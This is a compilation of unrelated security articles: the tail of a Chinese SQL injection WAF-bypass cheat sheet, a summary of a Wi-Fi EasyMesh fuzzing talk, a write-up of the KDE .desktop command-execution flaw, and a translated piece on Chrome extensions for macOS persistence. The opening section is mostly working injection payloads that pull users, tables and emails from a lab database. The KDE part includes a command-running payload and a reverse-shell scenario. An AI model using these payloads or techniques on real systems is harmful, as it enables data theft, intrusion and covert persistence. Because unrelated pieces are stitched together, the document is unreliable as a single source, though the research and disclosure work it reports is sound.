<http://172.16.1.157/sql/Less-1/?id=-1'> and updatexml(1,concat(0x7e,user(/*!)*/,0x7e/*!)*/,1/*!)*/ -- +
<http://172.16.1.157/sql/Less-1/?id=-1'> and updatexml(1,concat(0x7e,database(/*!)*/,0x7e/*!)*/,1/*!)*/ -- +
库名
<http://172.16.1.157/sql/Less-1/?id=-1'> and updatexml(1,`concat`(0x7e,(select schema_name from %23a%0a information_schema.schemata limit 1,1/*!)*/,0x7e/*!)*/,1/*!)*/ -- +
表名
<http://172.16.1.157/sql/Less-1/?id=-1'> and updatexml(1,`concat`(0x7e,(select table_name from %23a%0a information_schema.tables where table_schema=database(/*!)*/ limit 1,1/*!)*/,0x7e/*!)*/,1/*!)*/ -- +
列名
<http://172.16.1.157/sql/Less-1/?id=-1'> and updatexml(1,`concat`(0x7e,(select column_name from %23a%0a information_schema.columns where table_schema=database(/*!)*/ and %23a%0atable_name=0x7573657273 limit 1,1/*!)*/,0x7e/*!)*/,1/*!)*/ -- +
查数据
<http://172.16.1.157/sql/Less-1/?id=-1'> and updatexml(1,concat(0x7e,(select email_id from %23a%0a emails limit 1,1/*!)*/,0x7e/*!)*/,1/*!)*/ -- +
## 盲注
分布尔盲注和时间盲注来说吧
### 布尔盲注
不让他匹配完整括号对
使用left()或者right()
<http://172.16.1.157/sql/Less-1/?id=1'> and hex(LEFT(user(/*!)*/,1))=%23a%0a72 -- +
<http://172.16.1.157/sql/Less-1/?id=1'> and hex(right(user(/*!)*/,1))=%23a%0a72 -- +
使用substring() substr()
<http://172.16.1.157/sql/Less-1/?id=1'> and hex(SUBSTRING(user(/*!)*/,1,1))=72 -- +
<http://172.16.1.157/sql/Less-1/?id=1'> and hex(substr(user(/*!)*/,1,1))=72 -- +
查表名
<http://172.16.1.157/sql/Less-1/?id=1'> and hex(SUBSTR((select table_name from %23a%0a information_schema.tables where table_schema=%23a%0adatabase%23a%0a(/*!)*/ limit 0,1),1,1))=65-- +
列名字段名同理，略
### 时间盲注
不匹配成对括号
sleep()绕过
<http://172.16.1.157/sql/Less-1/?id=1'> and sleep(3/*!)*/-- +
查用户
<http://172.16.1.157/sql/Less-1/?id=1'> and if%23%0a(left(user(/*!)*/,1/*!)*/=char(114),sleep(3/*!)*/,1/*!)*/ -- +
<http://172.16.1.157/sql/Less-1/?id=1'> and if%23%0a(left(user(/*!)*/,1/*!)*/=0x72,sleep(3/*!)*/,1/*!)*/ -- +
查数据 limit过不了
<http://172.16.1.157/sql/Less-1/?id=1'> and if%23%0a(left((select group_concat(table_name/*!)*/ from%23a%0ainformation_schema.tables where table_schema=database(/*!)*/ /*!)*/,1/*!)*/=0x65,sleep(5/*!)*/,1/*!)*/ -- +
## 其他
length()长度
<http://172.16.1.157/sql/Less-1/?id=1'> and length(1)<=>1 -- +
<http://172.16.1.157/sql/Less-1/?id=1'> and length(database(/*!))*/<=>8 -- +
count()
<http://172.16.1.157/sql/Less-1/?id=1'> and (%23a%0aselect count(password/*!)*/ from %23a%0a users/*!)*/<=>13 -- +
## 参考
<https://github.com/aleenzz/MYSQL_SQL_BYPASS_WIKI>
<https://www.chabug.org/web/1019.html>
文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。 | 社区文章 |
**作者：曲乐炜 &柯懂湘@百度AIoT安全团队
原文链接：<https://mp.weixin.qq.com/s/GUab_Cz-PlEUJXNuyiVTLQ>**
近年来，随着万物互联技术的发展，Mesh技术逐渐兴起，Mesh技术是一种组网技术，可将多个接入点组成同一个网络来提供服务，相比于传统的WiFi组网技术，Mesh组网更稳定，更快，扩展性更强。而WiFi
Mesh也凭借着自组织，自管理，自治愈的特性，在未来万物互联的场景中占据重要的地位。
针对WiFi Mesh的新兴场景，百度安全的研究员曲乐炜和柯懂湘在北京时间11月11日晚上以线上的形式分享了议题《BadMesher: New Attack
Surfaces of Wi-Fi Mesh Network》，该议题主要讨论了WiFi
Mesh中的安全攻击面，设计并实现了一套自动化漏洞挖掘工具MeshFuzzer，并展示了其在实际漏洞挖掘过程中的效果。
# 议题解读
## 基本概念
### EasyMesh概念
EasyMesh是WiFi联盟推出的一项标准化认证方案，其经历了三个发展阶段。
图 1 EasyMesh发展流程
2018年，Mesh技术为厂商各自实现，缺乏统一的标准，因此不同厂商的设备之间无法互联互通。
2019年，WiFi联盟推出EasyMesh V1版本，引入了Onboarding流程和Auto-Config流程，并使用1905控制协议来实现Mesh中大部分的控制功能。
2020年，WiFi联盟推出EasyMesh V2和V3版本，V3版本丰富了更多的控制特性，尤其增加了安全特性，为控制消息添加了授权和完整性校验。
目前通过EasyMesh认证的厂商已经有数十家，其中包括Mediatek、Huawei、ZTE等。
### EasyMesh架构
EasyMesh的架构如图2所示，其中包含两个关键链路，两个关键角色。
图 2 EasyMesh架构图
#### 关键链路
1. Fronthaul链路：指的是暴露的WiFi链路，也就是我们手机能够正常连接的SSID。
2. Backhual链路：指的是隐藏的WiFi链路，即为是无法搜索到的SSID，是专门为Mesh提供的链路。
#### 关键角色
1. Controller角色：Mesh网络的管理者，可向Agent发送控制指令，来完成Mesh网络的管理，达到自组织，自管理，自治愈的效果。
2. Agent角色：Mesh网络的执行者，通过接受Controller的控制指令来执行任务，并向Controller反馈执行结果。
这里的角色并不针对具体的设备，是逻辑实体，一个设备既可以作为Controller也可以作为Agent，或者同时作为Contrller和Agent。
### Mesh网络构建过程
整个Mesh网络构建过程分为如下2步：
1. Onboarding
2. Discovery和Configuration
#### Onboarding过程
Onboarding过程是帮助一个未加入Mesh网络的设备加入Mesh网络，我们将未加入网络的设备称为Enrollee设备，整个过程是通过1905 Push
Button Configueration协议（后面简称1905 PBC）来实现的，1905 PBC包含了如下3个特性：
1. 特性1：入网双方需要进行push button
2. 特性2：基于WiFi Protected Setup实现
3. 特性3：基于TLV
从图 4中可看出，1905 PBC在Multi-AP
Extension部分进行了专门的标记，也就是标记获取的是Backhaul的SSID。因此Entollee设备可通过1905
PBC来获得Mesh链路的入网凭证。
图 3 Multi-AP Extension
整个Onboarding的流程如图 4所示。
图 4 Onboarding流程
首先将两个设备进行Push Button，让两个设备进入配网状态。
其次Enrollee设备通过1905 PBC来与Fronthaul SSID交互，经过M1-M8的过程后，最终Existing
Agent将Backhual的SSID和password返回给Enrollee设备，之后Enrollee设备便能够连接Backhaul
SSID，加入Mesh网络。
至此Onboarding流程完成了。
#### Discovery和Configuration过程
整体流程如图 5所示。
图 5 Discovery和Configuration流程
在完成Onborading流程后，Enrollee设备需要找到Mesh网络中的Controller来获得当前Mesh网络的基本配置，这里则使用IEEE1905.1a控制协议，Enrollee设备通过“AP
Autoconfig Search”广播包来探测Controller是否存在，若网络中存在Controller, 则Controller会回复“AP
Autoconfig Response”， Enrollee设备成功找到了Controller，至此，Discovery过程完成。
Configuration过程则是将当前Mesh网络的配置信息同步给Enrollee设备，如Mesh网络的用户名密码，通信Channel的选择，网络稳定性的维持参数等，是通过“AP
Autoconfig Wifi Sample
Configuration”来实现的，Enrollee设备获取了Mesh网络的基本配置，可真正的Agent的身份加入Mesh大家庭里，至此整个Mesh
网络构建完成。
### Mesh网络控制过程
Mesh网络的维护与管理是一项重要的工程，通过IEEE1905.1a来实现，IEEE1905.1a本质上是介于物理层和网络层的协议，是定义了家庭网络中的有线或无线的控制技术。在Mesh场景中，IEEE1905.1a是载体，提供了多种控制协议如设备发现、设备配置、设备管理等，其整个实现都是基于Type-Length-Value，部分EasyMesh控制协议如表 1所示。
**_*Message type*_** | **_*Protocol*_** | **_*Value*_**
---|---|---
1905 Topology Notification message | STA capability | 0x0001
Multi-AP Policy Config Request message | Multi-AP configuration | 0x8003
Unassociated STA Link Metrics Response message | Link metric collection |
0x8010
Backhaul Steering Request message | Backhaul optimizatio | 0x8019
Client Disassociation Stats message | Data Element | 0x8022
...... | …… | ……
表 1 部分EasyMesh控制协议
这里选择“Multi-AP Policy Config Request Message”来作为例子，可以看到图 6对应的命令字为
0x8003，具体的Streeing Policy则满足基本的TLV，可以看到图
6中Type为0x89，len为21，而value则为对应的payload。
图 6 Multi-AP Policy Config Message
## 攻击面分析
分析完了整个Mesh网络的组网和控制过程，我们来看看实际的攻击面，攻击的载体是两个关键协议。
1. 1905 Push Button Configuration Protocol
2. IEEE 1905.1a Control Protocol
对应的是两个关键的攻击面。
1. 攻击网络构建过程
2. 攻击网络控制过程
### 攻击Mesh网络构建过程
#### 攻击Existing Agent
攻击者：“Bad“ Enrollee Agent
受害者：Exixting Agent
攻击载体：1905 Push Button Configuration Protocol（M1、M3、M5、M7）
整个攻击流程如图 7所示。
图 7 攻击Existing Agent
攻击者构造恶意的Enrollee设备来攻击Existing Agent，具体则是基于1905
PBC发送畸形的M1、M3、M5、M7包来进行攻击，可触发Existing Agent在M1、M3、M5、M7过程中的TLV的解析漏洞。
#### 攻击Enrollee Agent
攻击者：“Bad” Existing Agent
受害者：Enrollee Agent
攻击载体：1905 Push Button Configuration Protocol（M2、M4、M6、M8）
整个攻击流程如图 8所示。
图 8 攻击Enrollee Agent
攻击者构造恶意的Existing Agent设备来攻击Enrollee设备，具体则是基于1905
PBC回复畸形的M2、M4、M6、M8包来进行攻击，可触发Enrollee设备在M2、M4、M6、M8过程中的TLV解析漏洞。
### 攻击Mesh网络控制过程
分析完Mesh构建的攻击面，再看Mesh网络控制的攻击面。
攻击者：“Bad” Existing Agent
受害者：Controller和其他Existing Agent
攻击载体：IEEE 1905.1a Control Protocol
攻击者可发送畸形的1905包来触发Controller和Existing Agent中1905 TLV的解析漏洞，图
9是我们针对“AP_AUTOCONFIGURATION_WSC_MESSAGE”设计的恶意包，可以看到，我们在SSID的len部分填入了0xFF，而实际的SSID最长为64，并在SSID的payload部分中全部填入0xFF，从图
10实际获取的数据包中可以看到，实际的SSID部分充满了我们填充的0xFF的Payload，这是不符合SSID解析的预期。
图 9 模拟发送畸形的IEEE 1905.1a控制包
图 10 实际的IEEE 1905.1a控制包
## 自动化工具MeshFuzzer
### MeshFuzzer架构
我们的Meshfuzzer包含两个Fuzzing子系统，分别是针对1905 PBC的Fuzzing以及针对1905.1a的Fuzzing，整体架构如图
11所示。
图 11 MeshFuzzer架构
上半部分是我们设计的针对1905 PBC的Fuzzing子系统，我们采用实际设备间的WPS交互数据作为输入，经过我们的TLV
变异系统，最终使用我们的802.1的发包器来进行发包，与此同时对设备进行串口连接，实时监控crash的状态。
下半部分是我们设计的针对IEEE
1905.1a的Fuzzing子系统，我们实现了大部分EasyMesh中的控制协议字段，同样经过我们的TLV变异系统，最终使用我们的1905发包器来进行发包，通过独有的1905数据包来监控crash的状态。
### 变异策略
由于两个目标协议均是基于TLV实现的，我们可以用统一的变异策略来高效的辅助Fuzzing的进行。
变异策略1：变异长度字段，通过过长或者过短的长度来触发TLV解析的一些常规内存破坏漏洞，比如长度过短会导致越界读，或者整数溢出，过长会导致越界写等问题，图
12是我们实际测试中将长度字段变异为过短的效果。
变异策略2：对现有的TLV块进行随机的增删改，这可能会导致的内存破坏相关的逻辑漏洞，如Double-Free、UAF等，图
13是我们实际测试中随机增加TLV块的效果。
图 12 过短的长度字段
图 13 随机对TLV块进行增加
### Fuzzing网络构建过程
#### 软硬件选择
硬件部分：选择Ubuntu或者树莓派4，配合无线的USB网卡来进行发包操作。
软件部分：选择了对wpa_supplicant进行改造来定制化我们的Fuzzer，具体原因则是wpa_supplicant本身支持1905
PBC协议，因此我们可以在其不同的阶段中加入我们的变异策略，可高效稳定的实现Mesh网络构建阶段的Fuzzing工作。
图 14 wpa_supplicant实现代码
#### 实际Fuzzing Existing Agent
我们使用以上的定制化的Fuzzing工具，便可模拟整个1905 PBC过程，并对M1、M3、M5、M7阶段注入Fuzzing Payload，图
15是我们在Fuzzing过程中，捕获到的的M7阶段的TLV解析导致的越界写入漏洞的崩溃日志，图 16是我们捕获的实际的数据包。
图 15 M7阶段越界写问题
图 16 M7阶段越界写实际数据包
我们监控崩溃的方式则是通过对目标设备进行Ping探测以及串口实时捕获崩溃日志。
#### 实际Fuzzing “Existing” Agent
Network构建过程另一个受害角色，则是未配网的“Enrollee”，我们模拟一个恶意的“Existing” Agent来fuzzing
“Enrollee”。这里为了保证让Enrollee持续保持加入Mesh网络的状态，我们编写了一个脚本，如图 17所示。
图 17 Enrollee保持加入Mesh网络脚本
我们在M2、M4、M6、M8阶段注入了Fuzzing Payload，图 18是我们Fuzzing过程中，触发的M6阶段的TLV解析导致的越界写入漏洞。图
19是我们捕获的实际的数据包。
图 18 M8阶段越界写问题
图 19 M8阶段越界写实际数据包
这里我们监控崩溃的方式仍然是通过对目标设备进行Ping探测以及串口实时捕获崩溃日志。
### Fuzzing网络控制过程
#### 软硬件选择
硬件部分：选择了Macbook Pro，因为Macbook Pro可以较好的支持1905数据包的发送。
软件部分：选择了现有的开源库pyieee1905，因此我们可以基于pyieee1905来开发自定义的协议字段，这将大大减少我们Fuzzer的开发工作量，我们只需要实现EasyMesh里的控制协议便可对网络控制部分进行Fuzzing测试。
图 20 pyieee1905
#### 监控模块
由于1905的处理模块大多是单独的进程，我们无法直接通过串口捕获崩溃，也无法通过对设备发送Ping探测包来监控1905进程的运行状态，这里我们选择EasyMesh里提供的1905
Topology Query
Message，该数据包是用于设备1905进程间探测互相支持的能力，因此通过设备对该包的回复与否，我们便可容易的知道，设备上的1905进程是否存活，或者是否在正常工作。
图 21 Topology Query Message
每当我们发出一个Fuzzing Payload，便会发送一次1905 Topology Query，若得到回复，说明1905
Daemon正常工作，若未得到回复，说明1905 Daemon可能出现了问题，此时我们会记录此次发送的Fuzzing
Payload到本地保存，并等待进程的重启。
图 22 1905 崩溃监控与保存
图 23 实际崩溃
## 实际效果
我们使用MeshFuzzer在Mediatek
MT7915的EasyMesh解决方案中发现了多处TLV解析导致的内存破坏漏洞，并发现了1处违背安全设计准则的安全问题，累计获得了19个CVE，问题列表如图
24所示，目前Mediatek已经修复了所有问题并输出了安全补丁。
图 24 MT7915安全问题
## 安全建议
对于处理TLV解析导致的内存破坏漏洞，我们建议对数据包进行完整解析，然后一一检查类型和长度，最后进行处理，当长度和类型检查失败时对数据包进行丢弃。
一个很好的例子是wpa_supplicant，图 25中显示了wpa_supplicant处理TLV包的过程，遵循解析->分发->验证->处理的过程。
图 25 正确的TLV处理例子
针对违背安全设计准则的问题，EasyMesh V3标准中有一节专门描述了1905协议的安全能力。例如，要隔离 Backhaul 和 FrontHaul
链路，需要增加消息的完整性校验并1905包进行加密，建议厂商在实现EasyMesh时，遵守EasyMesh标准，实现1905协议的安全能力。
## 总结
对整个议题总结如下：
1. 我们发现了WiFi Mesh中的多个安全攻击面，攻击者可以在Mesh网络构建阶段和网络控制阶段对Mesh网络中的设备发起攻击
2. 我们开发了一款自动化漏洞挖掘工具MeshFuzzer，可以自动挖掘厂商在实现EasyMesh时引入的安全漏洞
3. 在实践中，我们在MT7915芯片的EasyMesh解决方案中发现了多处安全问题，获得了19个CVE，并给出相应的修复建议
* * * | 社区文章 |
**Author:[HACHp1@Knownsec 404
Team](https://hachp1.github.io/posts/Web%E5%AE%89%E5%85%A8/20190809-kde45ce.html
"HACHp1@Knownsec 404 Team")**
**Date: August 09, 2019**
**Chinese Version:<https://paper.seebug.org/1006/>**
## Introduction
KDE Frameworks is a collection of libraries and software frameworks by KDE
readily available to any Qt-based software stacks or applications on multiple
operating systems.They offer a wide variety of commonly needed functionality
solutions like hardware integration, file format support, additional graphical
control elements, plotting functions, spell checking and more and serve as
technological foundation for KDE Plasma 5 and KDE Applications distributed
under the GNU Lesser General Public License (LGPL). The KDE framework is
currently used by several Linux distributions, including Kubuntu,
OpenMandriva, openSUSE, and OpenMandriva.
On July 28, 2019, Dominik Penner (@zer0pwn) found that there was a command
execution vulnerability when the KDE framework version was <= 5.60.0.
On August 5, 2019, Dominik Penner released this 0-day vulnerability on
Twitter. It is the way class KDesktopFile handles `.desktop` or `.directory`
files that has caused this vulnerability. If the victim downloads a
maliciously constructed `.desktop` or `.directory` file, the bash code
injected into the files will be executed.
On August 8, 2019, the KDE community finally fixed it in their updates, and
there was no official patches till that day.
### Gossip
When Dominik Penner released this vulnerability, he did not tell the KDE
community about it and directly posted it on Twitter. A lot of interesting
things happened between Penner and KDE developers later on, but we will not
discuss about them in this paper.
## Affected Version
Operating system with built-in or installed KDE Frameworks version <=5.60.0 ,
such as Kubuntu.
## Recurrence
### Environment Construction
Mirror of virtual machine : kubuntu-16.04.6-desktop-amd64.iso
KDE Framework 5.18.0
Remember to shut down the network since it takes a lot of time to download the
language pack. Enter the system and turn off the iso effect after the
installation is complete, otherwise you will not be able to enter the system.
### Recurrence Result
In this article, I reproduced it in three ways. The first and second are just
proof of concept, and the third is what an attacker will do in the real world.
1.PoC1: Create a file named "payload.desktop":
Write the payload into it:
Open the file manager after saving, and we will find that the written payload
is executed:
The file content shows as follows:
2.PoC2:
Create a file named".directory":
Open it via vi:
Write the payload into it:
Open the file manager after saving, the payload is successfully executed:
3.PoC3: The attacker starts the netcat and waite for connnection:
The attacker zips the payload file and mounts it on a web server to induce the
victim to download:
The victim unzips it:
After that, the payload will be executed and the attacker receives the
connected shell:
Impact of this venerability: Although the victims may become alert when the
file is downloaded directly, an attacker can packs the malicious files and use
social engineering to induce victims to unpack it. Whether the victim opens
the unzipped file or not, the malicious code will always be executed, because
the KDE system will call the desktop parsing function after the file is
unzipped.
## Details
Dominik Penner has already explained the vulnerability clearly. But first
let's take a look at Linux's desktop entries.
### Desktop Entry
The XDG Desktop Entry specification defines a standard for applications to
integrate into application menus of desktop environments implementing the XDG
Desktop Menu specification.
Each desktop entry must have a Type and a Name key and can optionally define
its appearance in the application menu.
In other words, it's a specification for parsing desktop items like icon,
name, type.
Development projects applying this specification should add the parsing
configuration in the `.directory` or `.desktop` files.
Details:
<https://wiki.archlinux.org/index.php/Desktop_entries_(%E7%AE%80%E4%BD%93%E4%B8%AD%E6%96%87)>
### Causes
KDE's desktop configuration refers to the XDG, but it includes some functions
from KDE and its implementation is also different from the XDG official. These
are the causes of the vulnerability.
It's written in KDE
docs:(<https://userbase.kde.org/KDE_System_Administration/Configuration_Files#Shell_Expansion>):
Shell Expansion
So called Shell Expansion can be used to provide more dynamic default values. With shell expansion the value of a configuration key can be constructed from the value of an environment variable.
To enable shell expansion for a configuration entry, the key must be followed by [$e]. Normally the expanded form is written into the users configuration file after first use. To prevent that, it is recommend to lock the configuration entry down by using [$ie].
Example: Dynamic Entries
The value for the "Email" entry is determined by filling in the values of the $USER and $HOST environment variables. When joe is logged in on joes_host this will result in a value equal to "joe@joes_host". The setting is not locked down.
[Mail Settings]
Email[$e]=${USER}@${HOST}
To make the setting more flexible , KDE implements and supports dynamic
configuration. It is worth noticing that the `${USER}` is taken from the
environment variable. It's definitely related to command execution.
Every time the KDE desktop system needs to read an icon, the `readEntry`
function is called. We can see the process of code tracking in Penner's
reports. The implementation process of the entire vulnerability is as follows:
Firstly, create the malicious file as follows:
payload.desktop
[Desktop Entry]
Icon[$e]=$(echo hello>~/POC.txt)
Enter the file manager, and the system will parse the `.desktop` file. Enter
the process of parsing Icon, according to the instructions in the document,
the shell dynamic parsing will be called when the parameter has a `[$e]`:
kdesktopfile.cpp:
QString KDesktopFile::readIcon() const
{
Q_D(const KDesktopFile);
return d->desktopGroup.readEntry("Icon", QString());
}
And the`KConfigPrivate::expandString(aValue)` is called:
kconfiggroup.cpp:
QString KConfigGroup::readEntry(const char *key, const QString &aDefault) const
{
Q_ASSERT_X(isValid(), "KConfigGroup::readEntry", "accessing an invalid group");
bool expand = false;
// read value from the entry map
QString aValue = config()->d_func()->lookupData(d->fullName(), key, KEntryMap::SearchLocalized,
&expand);
if (aValue.isNull()) {
aValue = aDefault;
}
if (expand) {
return KConfigPrivate::expandString(aValue);
}
return aValue;
}
Then according to the official documentation of KDE, this is the process of
parsing dynamic commands. The program will get the string between the first
`$(` and the first `)` as a command, and then call `popen`:
kconfig.cpp
QString KConfigPrivate::expandString(const QString &value)
{
QString aValue = value;
// check for environment variables and make necessary translations
int nDollarPos = aValue.indexOf(QLatin1Char('$'));
while (nDollarPos != -1 && nDollarPos + 1 < aValue.length()) {
// there is at least one $
if (aValue[nDollarPos + 1] == QLatin1Char('(')) {
int nEndPos = nDollarPos + 1;
// the next character is not $
while ((nEndPos <= aValue.length()) && (aValue[nEndPos] != QLatin1Char(')'))) {
nEndPos++;
}
nEndPos++;
QString cmd = aValue.mid(nDollarPos + 2, nEndPos - nDollarPos - 3);
QString result;
// FIXME: wince does not have pipes
#ifndef _WIN32_WCE
FILE *fs = popen(QFile::encodeName(cmd).data(), "r");
if (fs) {
QTextStream ts(fs, QIODevice::ReadOnly);
result = ts.readAll().trimmed();
pclose(fs);
}
#endif
This is the code execution process to exploit the vulnerability. You can see
that KDE execute system commands only to get some parameter dynamically such
as `${USER}`. This is not appropriate.
## Official Patches
The official fix it brutally in their latest version: they directly delete the
popen function, and popen cannot parse property `[e]` dynamically anymore.
By the way, the official also says:
Summary:
It is very unclear at this point what a valid use case for this feature
would possibly be. The old documentation only mentions $(hostname) as
an example, which can be done with $HOSTNAME instead.
## Conclusion
Personally I think this vulnerability represents something out of itself.
Firstly, it's not clear what were the developers thinking when when they were
developing KDE, perhaps to make the framework more flexible. But it is used
only to get the value of the `${USER}` variable according to the document.
I found that flexibility and security are sometimes conflicting to each other.
Dominik Penner directly released the vulnerability without notifying the
official, which is quite controversial. Personally, I think it is better to
send this vulnerability to its developers to get it patched before releasing
it. Many people supported Penner on Twitter and he explained that this was
just because he wanted to submit his 0-day vulnerability before defcon
started.
## Reference
1.<https://gist.github.com/zeropwn/630832df151029cb8f22d5b6b9efaefb>
2.<https://twitter.com/zer0pwn/status/1158167374799020039>
3.<https://www.youtube.com/watch?v=l4z7EOQQs84>
4.<https://mail.kde.org/pipermail/kde-announce/2019-August/000047.html>
5.<https://cgit.kde.org/kconfig.git/commit/?id=5d3e71b1d2ecd2cb2f910036e614ffdfc895aa22>
# About Knownsec & 404 Team
Beijing Knownsec Information Technology Co., Ltd. was established by a group
of high-profile international security experts. It has over a hundred frontier
security talents nationwide as the core security research team to provide
long-term internationally advanced network security solutions for the
government and enterprises.
Knownsec's specialties include network attack and defense integrated
technologies and product R&D under new situations. It provides visualization
solutions that meet the world-class security technology standards and enhances
the security monitoring, alarm and defense abilities of customer networks with
its industry-leading capabilities in cloud computing and big data processing.
The company's technical strength is strongly recognized by the State Ministry
of Public Security, the Central Government Procurement Center, the Ministry of
Industry and Information Technology (MIIT), China National Vulnerability
Database of Information Security (CNNVD), the Central Bank, the Hong Kong
Jockey Club, Microsoft, Zhejiang Satellite TV and other well-known clients.
404 Team, the core security team of Knownsec, is dedicated to the research of
security vulnerability and offensive and defensive technology in the fields of
Web, IoT, industrial control, blockchain, etc. 404 team has submitted
vulnerability research to many well-known vendors such as Microsoft, Apple,
Adobe, Tencent, Alibaba, Baidu, etc. And has received a high reputation in the
industry.
The most well-known sharing of Knownsec 404 Team includes: [KCon Hacking
Conference](http://kcon.knownsec.com/#/ "KCon Hacking Conference"), [Seebug
Vulnerability Database](https://www.seebug.org/ "Seebug Vulnerability
Database") and [ZoomEye Cyberspace Search Engine](https://www.zoomeye.org/
"ZoomEye Cyberspace Search Engine").
* * * | 社区文章 |
# Chrome扩展在持久化中的应用
|
##### 译文声明
本文是翻译文章，文章原作者 specterops，文章来源：posts.specterops.io
原文地址：<https://posts.specterops.io/no-place-like-chrome-122e500e421f>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
[2009](https://googleblog.blogspot.com/2009/12/google-chrome-for-holidays-mac-linux.html)年12月，Chrome正式推出了扩展程序（extension），使用HTML、JavaScript以及CSS来扩展Chrome的功能。扩展可以使用Chrome
API来阻止广告（ad）、改变浏览器UI、管理cookie，甚至能与桌面应用配合使用。用户可以在扩展安装过程中授予扩展一些权限，限制扩展行为。Chrome扩展可以使用许多原生API，因此也是隐藏恶意代码的潜在目标。随着EDR（端点检测与响应）产品的兴起以及macOS、Windows
10新引入的安全功能，端点安全性也得到了不少提升。然而对于macOS上的恶意Chrome扩展，现在仍然缺乏较好的检测机制。因此，Chrome扩展已经成为一种非常诱人的入侵及持久化载荷。本文介绍了macOS上利用Chrome扩展实现的一种载荷投递机制，介绍了自动更新功能在攻击过程中的应用，也介绍了使用[Apfell](https://github.com/its-a-feature/Apfell)的一个实际攻击样例，最后提出了一些基本但实际可操作的检测指南。
## 二、载荷投递
在macOS上，我们可以使用一些方法来合法地安装扩展程序。Google要求开发者通过web商店来投放扩展程序。[最近](https://blog.chromium.org/2018/06/improving-extension-transparency-for.html)Google修改了相关政策，导致用户无法从第三方网站安装扩展。攻击者虽然可以[继续](https://www.tripwire.com/state-of-security/security-data-protection/malicious-chrome-extension-which-sloppily-spied-on-academics-believed-to-originate-from-north-korea/)在web商店上托管扩展程序，但这个策略的推出的确限制了不少潜在风险。此外，我们在macOS上也可以使用移动配置描述文件（mobile
configuration
profile，`.mobileconfig`文件）来安装扩展。配置描述文件是macOS及iOS上的一种机制，可以用来管理各种设置，如壁纸、应用（如Google
Chrome）等。用户可以通过鼠标双击或者在命令行中通过[profiles](http://krypted.com/mac-os-x/use-profiles-command-high-sierra/)命令来安装描述文件。移动配置描述文件采用XML格式并遵循相对简单的格式。为了创建移动配置描述文件，我们需要输入PayloadUUID、应用程序ID以及更新url（下文会介绍这一点）。如果想了解配置描述文件的更多信息，大家可以参考这两篇文章（[1](http://docs.jamf.com/9.97/casper-suite/administrator-guide/macOS_Configuration_Profiles.html)、[2](https://developer.apple.com/business/documentation/Configuration-Profile-Reference.pdf)），也可以参考[这个](https://gist.github.com/xorrior/8ee611d4f91b91f03ec16bed1324be56)模板文件。在配置文件中，`ExtensionInstallSources`键指定了URL值，表示可以从哪些源安装扩展。在URL的协议、主机以及URI字段中我们都可以使用通配符。`ExtensionInstallForceList`值表示可以未经用户同意就能安装且无法卸载的扩展列表。`PayloadRemovalDisallowed`键可以阻止非管理员用户卸载该描述文件。大家可以参考[此处](https://www.chromium.org/administrators/policy-list-3)资料了解可用来管理扩展及Google
Chrome其他设置的一些键值。配置描述文件可以用来管理macOS的各种设置，我们可进一步深入分析，研究其在攻击场景中的应用。
关于配置描述文件有一点非常有趣，这些配置文件可以通过电子邮件来发送，并且[Gatekeeper](https://support.apple.com/en-us/HT202491)不会向终端用户提示任何警告（Gatekeeper是MacOS的代码签名强制验证工具）。然而系统将弹出一个提示窗口，请求用户确认安装描述文件。
如果描述文件未经签名，则用户在输入管理员凭据前，会看到第二个弹出窗口：
然而在安装经过签名的描述文件时，操作系统只会在安装过程中弹出一次窗口，然后就需要输入管理员密码。安装完毕后，我们可以在`Profiles`配置面板中查看描述文件的内容。如果描述文件未经签名，则会以红色高亮标出。
现在我们已经为Chrome设置了扩展策略，当用户打开该应用时，就会向描述文件中设置的更新URL发出一系列web请求。更新URL应当指向一个manifest更新文件，其中指定了扩展文件(`.crx`文件)的应用ID以及URL。这里大家可以查阅官方提供的[autoupdate](https://developer.chrome.com/apps/autoupdate)文档，了解manifest示例文件。随后，Chrome会下载扩展，将其保存到`~/Library/Application
Support/Google/Chrome/Default/Extensions/APPID`路径中。此时该扩展已经被载入浏览器中并成功执行。需要注意的是，在整个过程中，配置描述文件是唯一涉及到用户交互的一个环节。同样，在Windows上我们也可以修改注册表来悄悄安装扩展程序（可参考[此处](https://stackoverflow.com/questions/16056498/silent-install-of-chrome-extension-using-registry)资料）。然而如果安装源为第三方网站，Chrome只允许[
_inline_](https://developer.chrome.com/webstore/inline_installation)安装模式。这种安装模式需要用户浏览第三方网站，网站需要将用户重定向到Chrome
Web Store，最终完成安装过程。
## 三、自动更新
为了便于bug修复及安装安全更新，扩展可以支持自动更新。当扩展托管于Chrome
Web商店时，Google就会接管扩展的更新过程。开发者只需要上传新版扩展，几个小时后，浏览器就会通过Web Store更新插件。如果扩展托管在Web
Store之外，开发者可以具备更多的控制权。Chrome会使用`manifest.json`文件中的更新url来定期检查版本更新。在这个过程中，Chrome会读取manifest更新文件内容，将manifest中的版本信息与扩展的版本信息作比较。如果manifest版本更高，则浏览器会下载并安装新版扩展（大家可以参考[此处](https://gist.github.com/xorrior/c383baf3e626408e2c2eb4902798ea90)了解典型的manifest更新文件）。manifest更新文件采用XML格式，包含`APPID`以及指向`.crx`文件的一个`URL`。对攻击者而言，自动更新始终是一个非常不错的机制。如下两图所示，恶意扩展使用一个域名用来正常的C2通信，使用另一个域名来托管manifest更新文件以及扩展文件。设想一下，假如应急响应团队将某个C2域名标记为恶意域名，阻止与该域名的所有通信流量（1），然而与更新URL的通信流量仍然畅通无阻（2
& 3）。攻击者可以更新manifest版本，修改C2域名（4）、更新URL，设置能修改扩展的某些核心代码。经过一段时间后，Google
Chrome就会向更新URL发起请求，加载带有新版C2域名的新版扩展。
此外，如果攻击者失去了扩展的控制权，或者扩展出现崩溃，那么就可以通过更新版本来触发扩展执行。一旦扩展仍然安装在浏览器中，Chrome就会继续尝试并检查版本更新。如果只更新了manifest版本，Chrome就会重新安装并执行扩展。在下文中，我们将介绍如何使用一个PoC
Chrome扩展，并使用Apfell来管理C2服务器。
## 四、恶意扩展
Apfell是一个后利用（post-exploitation）框架，采用定制化和模块化设计思路。该框架默认情况下针对的是macOS平台，但用户可以创建针对其他平台的C2
profile（策略）。对于恶意Chrome扩展来说，Apfell是一个理想的框架。接下来我们看一下如何配置自定义的C2 profile、生成攻击载荷。
